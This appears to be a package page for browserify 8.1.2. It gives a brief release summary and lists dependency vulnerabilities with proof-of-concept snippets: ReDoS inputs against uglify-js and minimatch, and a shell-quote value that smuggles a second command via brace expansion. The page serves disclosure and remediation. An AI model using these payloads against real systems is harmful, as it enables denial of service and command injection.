Browserify 8.1.2 is a minor update to the popular browserify package, a tool that lets you use Node.js-style require() statements in browser-side JavaScript. Both versions, 8.1.1 and 8.1.2 are designed to bundle your Node.js modules and dependencies for use in web browsers, enabling code reuse and modular development. The core functionality of browser-side require() remains consistent between the two releases. Examining the data, the dependencies and devDependencies objects in both versions are characteristically identical. This typically indicates that the bug fixes or minor enhancements are likely to have occurred within the browserify package, rather than in the versions of its direct dependencies.
For developers, this means that upgrading from 8.1.1 to 8.1.2 should be a relatively safe and straightforward process. You can expect the same behavior from your existing code, with the potential benefit of resolved bugs or improved performance within the core browserify module. While the specific nature of the changes aren't explicitly detailed, the consistent dependency list reduces the risk of unexpected compatibility issues. The updated release, dated January 31, 2015, follows the previous release from January 15, 2015, suggesting a quick follow-up to address any immediate needs or improvements. This makes 8.1.2 a recommended upgrade for developers already using browserify, offering stability and potential refinements.
All the vulnerabilities related to the version 8.1.2 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.